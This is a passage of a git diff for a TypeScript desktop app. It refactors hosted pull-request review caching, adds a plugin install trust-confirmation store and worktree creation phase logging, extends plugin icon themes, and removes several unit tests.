a/src/renderer/src/store/plugin-icon-themes.ts +++ b/src/renderer/src/store/plugin-icon-themes.ts @@ -21,7 +21,7 @@ export const usePluginIconThemes = iconThemes.useEntries /** The selected icon theme as indexes into its registered icons; null means built-in icons. */ export type ActivePluginIconTheme = Pick< PluginIconThemeRegistration, - 'icons' | 'fileNames' | 'fileExtensions' + 'icons' | 'fileNames' | 'fileExtensions' | 'folderNames' | 'folderNamesExpanded' > export const useActivePluginIconTheme = create<{ theme: ActivePluginIconTheme | null }>()(() => ({ @@ -71,7 +71,9 @@ function registerIcons(theme: PluginIconThemeRegistration): ActivePluginIconThem return { icons: keep(theme.icons), fileNames: keep(theme.fileNames), - fileExtensions: keep(theme.fileExtensions) + fileExtensions: keep(theme.fileExtensions), + folderNames: keep(theme.folderNames), + folderNamesExpanded: keep(theme.folderNamesExpanded) } } diff --git a/src/renderer/src/store/plugin-install-trust-request.ts b/src/renderer/src/store/plugin-install-trust-request.ts new file mode 100644 index 00000000000..0a3fe754785 --- /dev/null +++ b/src/renderer/src/store/plugin-install-trust-request.ts @@ -0,0 +1,27 @@ +import { create } from 'zustand' +import type { PluginInstallTrustPrompt } from '@/components/plugins/presentation/plugin-install-trust' + +type PendingPluginInstallTrust = { + prompt: PluginInstallTrustPrompt + resolve: (confirmed: boolean) => void +} + +/** The one install waiting for "Make sure you trust …"; the Plugins pane renders it. */ +export const usePluginInstallTrustStore = create<{ pending: PendingPluginInstallTrust | null }>()( + () => ({ pending: null }) +) + +/** Resolves true only on an explicit Install click; any other way out declines. */ +export function confirmPluginInstallTrust(prompt: PluginInstallTrustPrompt): Promise { + return new Promise((resolve) => { + // Why decline the older ask: one dialog shows, so the install it belonged to must not hang. + usePluginInstallTrustStore.getState().pending?.resolve(false) + usePluginInstallTrustStore.setState({ pending: { prompt, resolve } }) + }) +} + +export function settlePluginInstallTrust(confirmed: boolean): void { + const { pending } = usePluginInstallTrustStore.getState() + usePluginInstallTrustStore.setState({ pending: null }) + pending?.resolve(confirmed) +} diff --git a/src/renderer/src/store/slices/editor/actions/untitled-file-creation.ts b/src/renderer/src/store/slices/editor/actions/untitled-file-creation.ts index f8756a030d8..1adf54d03ca 100644 --- a/src/renderer/src/store/slices/editor/actions/untitled-file-creation.ts +++ b/src/renderer/src/store/slices/editor/actions/untitled-file-creation.ts @@ -108,7 +108,7 @@ function openSeededUntitledFile( export function createPluginNewFileActions( _set: EditorSet, get: EditorGet -): Pick { +): Pick { return { openNewPluginFileInActiveWorkspace: async (newFile, groupId) => { const readTemplate = window.api?.plugins?.readNewFileTemplate @@ -137,8 +137,8 @@ export function createPluginNewFileActions( groupId ) }, - openSampleFileInActiveWorkspace: async (sample) => { - await openSeededUntitledFile(get, sample.extension, async () => sample.content) + openBlankFileInActiveWorkspace: async (extension) => { + await openSeededUntitledFile(get, extension, async () => '') } } } diff --git a/src/renderer/src/store/slices/editor/types/editor-files-slice.ts b/src/renderer/src/store/slices/editor/types/editor-files-slice.ts index 34c726a6abe..c47aafe07a5 100644 --- a/src/renderer/src/store/slices/editor/types/editor-files-slice.ts +++ b/src/renderer/src/store/slices/editor/types/editor-files-slice.ts @@ -96,8 +96,8 @@ export type EditorFilesSlice = { newFile: { pluginKey: string; id: string; title: string; extension: string }, groupId?: string ) => Promise - /** Creates an untitled file of `extension` holding `content` at the active workspace root. */ - openSampleFileInActiveWorkspace: (sample: { extension: string; content: string }) => Promise + /** Opens an empty `untitled` at the active workspace root. */ + openBlankFileInActiveWorkspace: (extension: string) => Promise // Why: sequences openFile/setMarkdownViewMode/reveal around an async Monaco remount. See docs/markdown-internal-link-opening-design.md. activateMarkdownLink: ( rawHref: string | undefined, diff --git a/src/renderer/src/store/slices/github-pr-branch-hosted-review-cache.test.ts b/src/renderer/src/store/slices/github-pr-branch-hosted-review-cache.test.ts index 50850ac19dc..89a558a3f65 100644 --- a/src/renderer/src/store/slices/github-pr-branch-hosted-review-cache.test.ts +++ b/src/renderer/src/store/slices/github-pr-branch-hosted-review-cache.test.ts @@ -601,7 +601,8 @@ describe('createGitHubSlice.fetchPRForBranch', () => { linkedGitLabMR: null, linkedGiteaPR: null, repoId, - repoPath + repoPath, + reportReadOutcome: true }) expect(store.getState().hostedReviewCache[hostedReviewCacheKey]).toEqual({ data: gitlabReview, diff --git a/src/renderer/src/store/slices/hosted-review-cache-race.test.ts b/src/renderer/src/store/slices/hosted-review-cache-race.test.ts index f2e41788ffa..ecdc936a634 100644 --- a/src/renderer/src/store/slices/hosted-review-cache-race.test.ts +++ b/src/renderer/src/store/slices/hosted-review-cache-race.test.ts @@ -323,7 +323,8 @@ describe('hosted review cache race protection', () => { linkedGitHubPR: null, linkedGitLabMR: null, linkedGiteaPR: null, - repoPath: '/repo' + repoPath: '/repo', + reportReadOutcome: true }) resolveGitHubLookup(githubReview) diff --git a/src/renderer/src/store/slices/hosted-review-cache-state.ts b/src/renderer/src/store/slices/hosted-review-cache-state.ts index c56becd86b7..2b60699067e 100644 --- a/src/renderer/src/store/slices/hosted-review-cache-state.ts +++ b/src/renderer/src/store/slices/hosted-review-cache-state.ts @@ -3,12 +3,17 @@ import type { CreateHostedReviewInput, CreateStackedHostedReviewInput, HostedReviewCreationEligibility, + HostedReviewForBranchArgs, + HostedReviewForBranchOutcome, + HostedReviewForBranchReply, HostedReviewInfo } from '../../../../shared/hosted-review' +import { hostedReviewForBranchOutcome } from '../../../../shared/hosted-review' import type { Repo } from '../../../../shared/repo-types' import type { PRInfo } from '../../../../shared/github/pull-request-types' import { getRepoExecutionHostId } from '../../../../shared/execution-host' import { ipcOrRuntimeTargetForHostId } from '@/runtime/runtime-client-target' +import { callRuntimeRpc } from '@/runtime/runtime-rpc-client' import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target' export type HostedReviewCacheEntry = { @@ -17,6 +22,8 @@ export type HostedReviewCacheEntry = { stale?: boolean linkedReviewHintKey?: string branchLookupGitHubPRNumber?: number + /** Lookup generation of the newest request the host answered from a provider read it stored as current. */ + providerReadGeneration?: number } export type HostedReviewCache = Record> @@ -24,6 +31,7 @@ export type HostedReviewFetchOptions = { /** Source-qualified exact lookup; does not replace the branch’s selected review. */ exactReviewKey?: string force?: boolean + userRefresh?: boolean repoId?: string admissionTier?: 'interactive' | 'status' | 'background' staleWhileRevalidate?: boolean @@ -229,6 +237,9 @@ export function hostedReviewBranchLookupArgs( return { branch, ...(options?.force === true ? { force: true } : {}), + ...(options?.userRefresh === true ? { userRefresh: true } : {}), + // Only this store asks, so the Checks panel can tell a real provider read from a cached answer. + reportReadOutcome: true, ...(options?.admissionTier ? { admissionTier: options.admissionTier } : {}), ...(options?.repoId !== undefined ? { repoId: options.repoId } : {}), currentHeadOid: options?.currentHeadOid ?? null, @@ -241,3 +252,40 @@ export function hostedReviewBranchLookupArgs( linkedGiteaPR: options?.linkedGiteaPR ?? null } } + +export async function requestHostedReviewForBranch( + target: RuntimeClientTarget, + runtimeParams: Record, + ipcArgs: HostedReviewForBranchArgs +): Promise { + return hostedReviewForBranchOutcome( + target.kind === 'environment' + ? await callRuntimeRpc( + target, + 'hostedReview.forBranch', + runtimeParams, + // Remote git/gh, especially Windows paths, can be slow; main queue bounds concurrency so longer timeout cannot cause stampedes. + { timeoutMs: 30_000 } + ) + : await window.api.hostedReview.forBranch(ipcArgs) + ) +} + +export function hostedReviewCallerSettlement( + readPreserved: () => HostedReviewCacheEntry | undefined, + options?: HostedReviewFetchOptions +): (request: Promise) => Promise { + return async (request) => { + try { + return await request + } catch (error) { + if (options?.userRefresh) { + throw error + } + const preserved = readPreserved() + return isStaleMergedGitHubReviewForHead(preserved, options?.currentHeadOid) + ? null + : (preserved?.data ?? null) + } + } +} diff --git a/src/renderer/src/store/slices/hosted-review-cache.test.ts b/src/renderer/src/store/slices/hosted-review-cache.test.ts index 88b51431d1a..4eb54a4a60c 100644 --- a/src/renderer/src/store/slices/hosted-review-cache.test.ts +++ b/src/renderer/src/store/slices/hosted-review-cache.test.ts @@ -68,6 +68,92 @@ describe('hosted review cache revalidation', () => { _clearHostedReviewRequestGenerationsForTest() }) + it('does not let a pre-click forced flight satisfy manual refresh or replace its result', async () => { + let finishOld: (value: HostedReviewInfo) => void = () => {} + mockApi.hostedReview.forBranch + .mockReturnValueOnce( + new Promise((resolve) => { + finishOld = resolve + }) + ) + .mockResolvedValueOnce({ ...review, state: 'merged' }) + const store = makeStore() + const before = store.getState().fetchHostedReviewForBranch('/repo', 'feature', { force: true }) + const options = { force: true, userRefresh: true } + const click = store.getState().fetchHostedReviewForBranch('/repo', 'feature', options) + finishOld(review) + await before + await expect(click).resolves.toMatchObject({ state: 'merged' }) + expect(mockApi.hostedReview.forBranch).toHaveBeenLastCalledWith( + expect.objectContaining({ userRefresh: true }) + ) + expect(Object.values(store.getState().hostedReviewCache)[0]?.data?.state).toBe('merged') + expect(_getHostedReviewRequestGenerationCountForTest()).toBe(0) + }) + + it('retains last-good after refused manual dispatch without restoring a superseded renderer owner', async () => { + const store = makeStore() + mockApi.hostedReview.forBranch.mockResolvedValueOnce(review) + await store.getState().fetchHostedReviewForBranch('/repo', 'feature') + const original = Object.values(store.getState().hostedReviewCache)[0] + let finishOld: (value: HostedReviewInfo) => void = () => {} + mockApi.hostedReview.forBranch + .mockReturnValueOnce( + new Promise((resolve) => { + finishOld = resolve + }) + ) + .mockRejectedValueOnce(new Error('capacity refused')) + const before = store.getState().fetchHostedReviewForBranch('/repo', 'feature', { force: true }) + const options = { force: true, userRefresh: true } + await expect( + store.getState().fetchHostedReviewForBranch('/repo', 'feature', options) + ).rejects.toThrow('capacity refused') + finishOld({ ...review, state: 'merged' }) + await before + expect(Object.values(store.getState().hostedReviewCache)[0]).toEqual(original) + expect(_getHostedReviewRequestGenerationCountForTest()).toBe(0) + mockApi.hostedReview.forBranch.mockResolvedValueOnce({ ...review, state: 'merged' }) + await expect( + store.getState().fetchHostedReviewForBranch('/repo', 'feature', { force: true }) + ).resolves.toMatchObject({ state: 'merged' }) + }) + + it('settles a failed manual runtime flight separately for an ordinary joiner without renewing last-good', async () => { + const store = makeStore() + store.setState((state) => ({ + repos: state.repos.map((repo) => ({ ...repo, executionHostId: 'runtime:paired' })) + })) + runtimeRpc.callRuntimeRpc.mockResolvedValueOnce(review) + await store.getState().fetchHostedReviewForBranch('/repo', 'feature') + const original = Object.values(store.getState().hostedReviewCache)[0] + let reject: (error: Error) => void = () => {} + runtimeRpc.callRuntimeRpc.mockReturnValueOnce( + new Promise((_, fail) => { + reject = fail + }) + ) + const manual = store + .getState() + .fetchHostedReviewForBranch('/repo', 'feature', { force: true, userRefresh: true }) + const failed = expect(manual).rejects.toThrow('offline') + const ordinary = store + .getState() + .fetchHostedReviewForBranch('/repo', 'feature', { force: true }) + reject(new Error('offline')) + await failed + await expect(ordinary).resolves.toEqual(review) + expect(runtimeRpc.callRuntimeRpc).toHaveBeenCalledTimes(2) + expect(runtimeRpc.callRuntimeRpc).toHaveBeenLastCalledWith( + expect.objectContaining({ kind: 'environment', environmentId: 'paired' }), + 'hostedReview.forBranch', + expect.objectContaining({ userRefresh: true }), + { timeoutMs: 30_000 } + ) + expect(Object.values(store.getState().hostedReviewCache)[0]).toEqual(original) + expect(_getHostedReviewRequestGenerationCountForTest()).toBe(0) + }) + it('dedupes repeated linked PR retries while a stronger lookup is in flight', async () => { let resolveLinkedLookup: (value: typeof review) => void = () => {} const linkedLookup = new Promise((resolve) => { diff --git a/src/renderer/src/store/slices/hosted-review-card-refresh.ts b/src/renderer/src/store/slices/hosted-review-card-refresh.ts index e35dad1f50f..5289ae7f98d 100644 --- a/src/renderer/src/store/slices/hosted-review-card-refresh.ts +++ b/src/renderer/src/store/slices/hosted-review-card-refresh.ts @@ -12,6 +12,7 @@ type RefreshHostedReviewCardArgs = { repoPath: string repoId: string branch: string + userRefresh?: boolean admissionTier?: 'interactive' | 'status' | 'background' linkedGitHubPR?: number | null fallbackGitHubPR?: number | null @@ -29,6 +30,7 @@ export function refreshHostedReviewCard( const fallbackGitHubPR = args.linkedGitHubPR == null ? (args.fallbackGitHubPR ?? null) : null return fetchHostedReviewForBranch(args.repoPath, args.branch, { force: true, + ...(args.userRefresh === true ? { userRefresh: true } : {}), repoId: args.repoId, ...(args.admissionTier ? { admissionTier: args.admissionTier } : {}), repoOwnerExecutionHostId: args.repoOwnerExecutionHostId, diff --git a/src/renderer/src/store/slices/hosted-review-request-state.ts b/src/renderer/src/store/slices/hosted-review-request-state.ts index 8b7d225b5d7..fc7a60224d9 100644 --- a/src/renderer/src/store/slices/hosted-review-request-state.ts +++ b/src/renderer/src/store/slices/hosted-review-request-state.ts @@ -176,10 +176,26 @@ export function _clearHostedReviewRequestGenerationsForTest(): void { /** A forced request needs a forced flight; an explicit Refresh (wake) needs one that may start the WSL distro (E9). */ export function canJoinHostedReviewFlight( - inflight: { force: boolean; wakeWslDistro: boolean }, - options: { force?: boolean; wakeWslDistro?: boolean } | undefined + inflight: { force: boolean; wakeWslDistro: boolean; currentHeadOid?: string | null }, + options: + | { + force?: boolean + wakeWslDistro?: boolean + userRefresh?: boolean + currentHeadOid?: string | null + } + | undefined ): boolean { - return (!options?.force || inflight.force) && (!options?.wakeWslDistro || inflight.wakeWslDistro) + return ( + !options?.userRefresh && + !( + options?.currentHeadOid != null && + inflight.currentHeadOid != null && + options.currentHeadOid !== inflight.currentHeadOid + ) && + (!options?.force || inflight.force) && + (!options?.wakeWslDistro || inflight.wakeWslDistro) + ) } /** Records a freshly issued request in the in-flight map and supersedes any queued revalidation for its key. */ @@ -190,7 +206,7 @@ export function registerInflightHostedReviewRequest( ...entry }: { promise: Promise - options: { force?: boolean; wakeWslDistro?: boolean } | undefined + options: { force?: boolean; wakeWslDistro?: boolean; userRefresh?: boolean } | undefined currentHeadOid: string | null generation: number startedAt: number diff --git a/src/renderer/src/store/slices/hosted-review.test.ts b/src/renderer/src/store/slices/hosted-review.test.ts index 636e28b4cda..76d6628aef0 100644 --- a/src/renderer/src/store/slices/hosted-review.test.ts +++ b/src/renderer/src/store/slices/hosted-review.test.ts @@ -104,6 +104,7 @@ describe('hosted review slice', () => { expect(mockApi.hostedReview.forBranch).toHaveBeenCalledWith({ repoPath: '/repo', branch: 'feature/gitlab', + reportReadOutcome: true, currentHeadOid: null, linkedGitHubPR: null, linkedGitLabMR: 5, diff --git a/src/renderer/src/store/slices/hosted-review.ts b/src/renderer/src/store/slices/hosted-review.ts index 58ecad1ac52..b6aa2c56d70 100644 --- a/src/renderer/src/store/slices/hosted-review.ts +++ b/src/renderer/src/store/slices/hosted-review.ts @@ -19,8 +19,10 @@ import { findHostedReviewRepoForFetch, hasNewerHostedReviewCacheEntry, hostedReviewOwnerIpcArgs, + hostedReviewCallerSettlement, hostedReviewBranchLookupArgs, isFreshHostedReview, + requestHostedReviewForBranch, isStaleMergedGitHubReviewForHead, hostedReviewRepoOwnerTarget, shouldRefetchForLinkedHint, @@ -173,6 +175,7 @@ export const createHostedReviewSlice: StateCreator get().hostedReviewCache[cacheKey], + options + ) const startRequest = (): Promise => { const generation = nextLookupGeneration() const requestStartedAt = Date.now() @@ -207,20 +207,11 @@ export const createHostedReviewSlice: StateCreator { try { const args = hostedReviewBranchLookupArgs(branch, options) - const review = - target.kind === 'environment' - ? await callRuntimeRpc( - target, - 'hostedReview.forBranch', - { repo: repo?.id ?? options?.repoId ?? repoPath, repoPath, ...args }, - // Remote git/gh, especially Windows paths, can be slow; main queue bounds concurrency so longer timeout cannot cause stampedes. - { timeoutMs: 30_000 } - ) - : await window.api.hostedReview.forBranch({ - repoPath, - ...hostedReviewOwnerIpcArgs(options), - ...args - }) + const { review, readOutcome } = await requestHostedReviewForBranch( + target, + { repo: repo?.id ?? options?.repoId ?? repoPath, repoPath, ...args }, + { repoPath, ...hostedReviewOwnerIpcArgs(options), ...args } + ) if (requestGenerations.get(cacheKey) === generation) { set((state) => { if ( @@ -251,6 +242,11 @@ export const createHostedReviewSlice: StateCreator { expect(store.getState().repos).toEqual([]) }) }) - -describe('project removal error toast', () => { - it('shows the host’s message without the IPC wrapper', async () => { - removeForHost.mockRejectedValue( - new Error("Error invoking remote method 'repos:removeForHost': Error: Project is busy") - ) - const store = createTestStore() - store.setState({ repos: [localRepo] }) - - await store.getState().removeProject('app', { hostId: 'local', errorFeedback: 'toast' }) - - expect(toast.error).toHaveBeenCalledWith( - 'Failed to remove project', - expect.objectContaining({ description: 'Project is busy' }) - ) - }) -}) diff --git a/src/renderer/src/store/slices/project-removal-unreachable-server.test.ts b/src/renderer/src/store/slices/project-removal-unreachable-server.test.ts index 9557d7f27ef..6c3a7e2244d 100644 --- a/src/renderer/src/store/slices/project-removal-unreachable-server.test.ts +++ b/src/renderer/src/store/slices/project-removal-unreachable-server.test.ts @@ -239,18 +239,6 @@ describe('removing a project while its paired server is unreachable', () => { expect(rmAttempts).toBe(2) }) - it('keeps the record when the server is still unreachable at replay time', async () => { - seedPendingRuntimeRepoRemovals([{ environmentId: 'env-1', repoId: 'app', requestedAt: 1 }]) - - await replayPendingRuntimeRepoRemovals( - 'env-1', - () => Promise.reject(new Error(UNREACHABLE)), - vi.fn() - ) - - expect(listPendingRuntimeRepoRemovals('env-1')).toHaveLength(1) - }) - it('never lets a replayed repo.rm undo a re-add of the same project', async () => { seedPendingRuntimeRepoRemovals([{ environmentId: 'env-1', repoId: 'app', requestedAt: 1 }]) reachable = true diff --git a/src/renderer/src/store/slices/store-create-tab-id-hint.test.ts b/src/renderer/src/store/slices/store-create-tab-id-hint.test.ts index df3aa9a0282..2f39254d23b 100644 --- a/src/renderer/src/store/slices/store-create-tab-id-hint.test.ts +++ b/src/renderer/src/store/slices/store-create-tab-id-hint.test.ts @@ -27,24 +27,6 @@ createStoreCascadesMockApi() // Why: CLI-spawned terminals stamp ORCA_PANE_KEY at spawn; renderer must adopt the tab under that id so hook events route correctly. describe('createTab tabId hint', () => { - it('uses the supplied id when no collision exists', () => { - const store = createTestStore() - const wt = 'repo1::/path/wt-hint' - seedStore(store, { - worktreesByRepo: { - repo1: [makeWorktree({ id: wt, repoId: 'repo1', path: '/path/wt-hint' })] - }, - groupsByWorktree: {}, - activeGroupIdByWorktree: {}, - unifiedTabsByWorktree: {} - }) - - const hintedId = 'aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee' - const tab = store.getState().createTab(wt, undefined, undefined, { id: hintedId }) - - expect(tab.id).toBe(hintedId) - }) - it('rejects a taken id instead of minting a fresh one', () => { const store = createTestStore() const wt = 'repo1::/path/wt-collision' @@ -95,28 +77,6 @@ describe('createTab tabId hint', () => { expect(store.getState().tabsByWorktree[wtA]).toBeUndefined() }) - it('ignores empty string hints instead of persisting an unusable tab id', () => { - const store = createTestStore() - const wt = 'repo1::/path/wt-empty-hint' - seedStore(store, { - worktreesByRepo: { - repo1: [makeWorktree({ id: wt, repoId: 'repo1', path: '/path/wt-empty-hint' })] - }, - groupsByWorktree: {}, - activeGroupIdByWorktree: {}, - unifiedTabsByWorktree: {} - }) - - const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}) - try { - const tab = store.getState().createTab(wt, undefined, undefined, { id: '' }) - expect(tab.id).not.toBe('') - expect(warn).not.toHaveBeenCalled() - } finally { - warn.mockRestore() - } - }) - it('ignores web mirror id hints instead of making them canonical host tab ids', () => { const store = createTestStore() const wt = 'repo1::/path/wt-web-hint' diff --git a/src/renderer/src/store/slices/workspace-cleanup-host-qualified-list-state.test.ts b/src/renderer/src/store/slices/workspace-cleanup-host-qualified-list-state.test.ts index e97cf65f7c6..a16d69de2e9 100644 --- a/src/renderer/src/store/slices/workspace-cleanup-host-qualified-list-state.test.ts +++ b/src/renderer/src/store/slices/workspace-cleanup-host-qualified-list-state.test.ts @@ -2,7 +2,6 @@ import { describe, expect, it, vi } from 'vitest' import { getWorkspaceCleanupCandidateIdentity, - getWorkspaceCleanupHostIdentity, resolveWorkspaceCleanupRemovalHostId } from '../../../../shared/workspace-cleanup-host-identity' import { @@ -66,17 +65,6 @@ function makeDismissal( } describe('workspace cleanup host-qualified identity', () => { - it('separates two hosts publishing the same worktree id', () => { - const local = makeCandidate('local') - const remote = makeCandidate('ssh:ssh-1', 'ssh-1') - expect(getWorkspaceCleanupCandidateIdentity(local)).not.toBe( - getWorkspaceCleanupCandidateIdentity(remote) - ) - expect(getWorkspaceCleanupCandidateIdentity(remote)).toBe( - getWorkspaceCleanupHostIdentity('ssh:ssh-1', WORKTREE_ID) - ) - }) - it('reports no removal host for a row with no host evidence', () => { expect(resolveWorkspaceCleanupRemovalHostId(makeCandidate(undefined))).toBeNull() // A pre-executionHostId remote row still names its connection. @@ -95,10 +83,6 @@ describe('workspace cleanup dismissals', () => { expect(shouldHideWorkspaceCleanupCandidate(makeCandidate('local'), dismissal)).toBe(false) }) - it('keeps a legacy id-only dismissal hiding its row', () => { - expect(shouldHideWorkspaceCleanupCandidate(makeCandidate('local'), makeDismissal())).toBe(true) - }) - it('stores same-id dismissals independently and still reads a legacy id-only key', async () => { const local = makeCandidate('local') const remote = makeCandidate('ssh:ssh-1', 'ssh-1') @@ -157,11 +141,4 @@ describe('workspace cleanup removal targets', () => { }) expect(target?.kind).toBe('unresolved') }) - - it('fails closed for a confirmed row when no owner row carries a host', () => { - const [target] = resolveWorkspaceCleanupRemovalTargets([WORKTREE_ID], emptyState, { - approvedCandidates: [makeCandidate(undefined)] - }) - expect(target?.kind).toBe('unresolved') - }) }) diff --git a/src/renderer/src/store/slices/worktree-helpers.ts b/src/renderer/src/store/slices/worktree-helpers.ts index ffe7b826823..1d98e027cc9 100644 --- a/src/renderer/src/store/slices/worktree-helpers.ts +++ b/src/renderer/src/store/slices/worktree-helpers.ts @@ -197,6 +197,7 @@ export type WorktreeSlice = { provisioningLog?: string checkoutProgress?: PendingWorktreeCreation['checkoutProgress'] worktreeId?: string + heldChatMessage?: string } ) => void /** Drop pending/active creation; VM cleanup applies to cancellation/dismissal, never successful handoff. */ diff --git a/src/renderer/src/store/slices/worktrees/create/pending-worktree-creation.ts b/src/renderer/src/store/slices/worktrees/create/pending-worktree-creation.ts index 4c5616d0a1a..76aee77e679 100644 --- a/src/renderer/src/store/slices/worktrees/create/pending-worktree-creation.ts +++ b/src/renderer/src/store/slices/worktrees/create/pending-worktree-creation.ts @@ -3,19 +3,35 @@ import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-sli import type { AppState } from '../../../types' import { cleanupFailedEphemeralVmWorkspace } from '@/lib/ephemeral-vm-failed-create-cleanup' import { endWindowCreation } from '@/lib/sidebar-ended-creations' +import type { PendingWorktreeCreation } from '@/lib/pending-worktree-creation' export function createBeginPendingWorktreeCreation( set: WorktreeSliceSet, _get: WorktreeSliceGet ): WorktreeSlice['beginPendingWorktreeCreation'] { return (entry) => { + const logged = { ...entry, phaseLog: [{ phase: entry.phase, at: entry.startedAt }] } set((s) => ({ - pendingWorktreeCreations: { ...s.pendingWorktreeCreations, [entry.creationId]: entry }, + pendingWorktreeCreations: { ...s.pendingWorktreeCreations, [entry.creationId]: logged }, activePendingCreationId: entry.creationId })) } } +// A new startedAt is a fresh attempt (continue/retry); a phase change within one attempt is a new step. +function nextPhaseLog( + entry: PendingWorktreeCreation, + patch: Partial +): PendingWorktreeCreation['phaseLog'] { + if (patch.startedAt !== undefined && patch.startedAt !== entry.startedAt) { + return [{ phase: patch.phase ?? entry.phase, at: patch.startedAt }] + } + if (patch.phase !== undefined && patch.phase !== entry.phase) { + return [...(entry.phaseLog ?? []), { phase: patch.phase, at: Date.now() }] + } + return entry.phaseLog +} + export function createUpdatePendingWorktreeCreation( set: WorktreeSliceSet, _get: WorktreeSliceGet @@ -36,7 +52,7 @@ export function createUpdatePendingWorktreeCreation( return { pendingWorktreeCreations: { ...s.pendingWorktreeCreations, - [creationId]: { ...entry, ...patch } + [creationId]: { ...entry, ...patch, phaseLog: nextPhaseLog(entry, patch) } } } }) diff --git a/src/renderer/src/store/slices/worktrees/listing/stale-listing-purges-created-worktree.test.ts b/src/renderer/src/store/slices/worktrees/listing/stale-listing-purges-created-worktree.test.ts index f40e5aef6a1..742b13db860 100644 --- a/src/renderer/src/store/slices/worktrees/listing/stale-listing-purges-created-worktree.test.ts +++ b/src/renderer/src/store/slices/worktrees/listing/stale-listing-purges-created-worktree.test.ts @@ -188,20 +188,6 @@ describe('an authoritative listing that omits a just-created worktree', () => { expect(state.activeWorktreeId).toBeNull() expect(state.unifiedTabsByWorktree[CREATED_ID]).toBeUndefined() }) - - it('control: a listing that includes the created worktree leaves everything intact', () => { - const store = createTestStore() - seedCreatedWorkspaceWithPendingLaunch(store, true) - const rows = store.getState().worktreesByRepo[REPO_ID]! - - expect(applyListing(store, [...rows])).toBe('applied') - - const state = store.getState() - expect(readStructuredAgentLaunchRecord(SESSION_ID)).toBeDefined() - expect(launchWasCancelled()).toBe(false) - expect(state.activeWorktreeId).toBe(CREATED_ID) - expect(state.unifiedTabsByWorktree[CREATED_ID]).toHaveLength(2) - }) }) // Catalog versions fence delayed listings before merge/teardown so scans predating applied create cannot purge new tabs or replace current rows. diff --git a/src/renderer/src/store/store-identity-churn-probe.test.ts b/src/renderer/src/store/store-identity-churn-probe.test.ts index 04ae08e12d3..51fdb872254 100644 --- a/src/renderer/src/store/store-identity-churn-probe.test.ts +++ b/src/renderer/src/store/store-identity-churn-probe.test.ts @@ -76,16 +76,6 @@ describe('store identity churn probe', () => { expect(readStoreIdentityChurnReport()).toEqual([]) }) - it('does not flag a refresh that returns the original reference', () => { - const store = createProbeStore() - const original = store.getState().rows - armStoreIdentityChurnProbe() - - store.getState().refresh(original) - - expect(readStoreIdentityChurnReport()).toEqual([]) - }) - it('names the write site when capture is requested', () => { const store = createProbeStore() armStoreIdentityChurnProbe({ captureSites: true }) @@ -118,15 +108,6 @@ describe('store identity churn probe', () => { expect(churnFor('rows')).toBe(1) }) - it('ignores a write zustand itself drops as identical', () => { - const store = createProbeStore() - armStoreIdentityChurnProbe() - - store.setState((state) => state) - - expect(readStoreIdentityChurnReport()).toEqual([]) - }) - it('passes disarmed writes straight through without reading state', () => { const innerSet = vi.fn() const innerGet = vi.fn(() => ({ counter: 0 })) @@ -190,14 +171,6 @@ describe('store identity churn probe', () => { expect(churnFor('rows')).toBe(1) }) - it('records nothing while disarmed', () => { - const store = createProbeStore() - - store.getState().refresh([{ id: 'a', label: 'A' }]) - - expect(readStoreIdentityChurnReport()).toEqual([]) - }) - it('treats distinct class instances as changed rather than equal', () => { const store = create<{ value: unknown; put: (value: unknown) => void }>()( withStoreIdentityChurnProbe((set) => ({ diff --git a/src/renderer/src/store/workspace-layout-frame-store-patch.test.ts b/src/renderer/src/store/workspace-layout-frame-store-patch.test.ts index 30481d9596e..e23b72a2ccc 100644 --- a/src/renderer/src/store/workspace-layout-frame-store-patch.test.ts +++ b/src/renderer/src/store/workspace-layout-frame-store-patch.test.ts @@ -82,11 +82,6 @@ function withoutTab(frame: PublishedWorkspaceLayout, tabId: string): PublishedWo } describe('laying frame slices over the store', () => { - it('changes nothing for the frame the store already shows', async () => { - const { state, session, frame } = await restored() - expect(patchFor(state, session, frame)).toEqual({}) - }) - it('drops a terminal tab main closed, with its pane layout', async () => { const { state, session, frame } = await restored() const patch = patchFor(state, session, withoutTab(frame, 'tab-shell')) @@ -114,21 +109,6 @@ describe('laying frame slices over the store', () => { ).not.toHaveProperty('tab-shell') }) - it('gives a row the frame creates the window’s own fields for it', async () => { - const { state, session, frame } = await restored() - const shown = patchFor(state, session, withoutTab(frame, 'tab-shell')) - const before = { ...state, ...shown } - const fields = vi.fn((id: string) => - id === 'tab-shell' ? { pendingActivationSpawn: true } : null - ) - - const patch = patchFor(before, session, frame, undefined, fields) - - const row = patch.tabsByWorktree?.[GIT_KEY]?.find((tab) => tab.id === 'tab-shell') - expect(row?.pendingActivationSpawn).toBe(true) - expect(fields).toHaveBeenCalledTimes(1) - }) - it('keeps an open file’s editor state and place, and drops a file main closed', async () => { const { state, session, frame } = await restored() const file = state.openFiles.find((entry) => entry.worktreeId === GIT_KEY)! diff --git a/src/shared/agent-session-account-home.ts b/src/shared/agent-session-account-home.ts index f07450313b2..d91deff05be 100644 --- a/src/shared/agent-session-account-home.ts +++ b/src/shared/agent-session-account-home.ts @@ -2,7 +2,8 @@ import type { AgentSessionStoredAgent } from './agent-session/lifecycle/agent-session-stored-agent' -/** Account root pinned at launch by the account selector, so a resume cannot drift to another login. */ +/** Account root the chat was created or adopted under, where its history was first written. An agent + * whose launch follows the selection starts under the account selected now instead. */ export type LegacyAgentSessionAccountHome = { /** Environment variable naming the agent's config directory. */ variable: string @@ -30,6 +31,10 @@ export function isLegacyAgentSessionAccountHome( return !('kind' in home) } +export function agentSessionAccountHomePath(home: AgentSessionAccountHome | null): string | null { + return home && isLegacyAgentSessionAccountHome(home) ? home.path : null +} + export function requireLegacyAgentSessionAccountHome( home: AgentSessionAccountHome ): LegacyAgentSessionAccountHome { diff --git a/src/shared/agent-session-acquired-account.ts b/src/shared/agent-session-acquired-account.ts new file mode 100644 index 00000000000..faaa6c0cef9 --- /dev/null +++ b/src/shared/agent-session-acquired-account.ts @@ -0,0 +1,99 @@ +import { z } from 'zod' +import type { AgentSessionLease, AgentSessionRecord } from './agent-session-record' +import { agentSessionScopeKey } from './agent-session-record' + +const path = z + .string() + .min(1) + .max(32_768) + .refine((value) => !value.includes('\0')) +export const claudeAccountRecipeSchema = z.discriminatedUnion('route', [ + z + .object({ + route: z.literal('managed'), + accountId: z + .string() + .min(1) + .max(512) + .regex(/^[a-zA-Z0-9_-]+$/), + home: path + }) + .strict(), + z.object({ route: z.literal('system'), home: path, configDir: path.nullable() }).strict() +]) 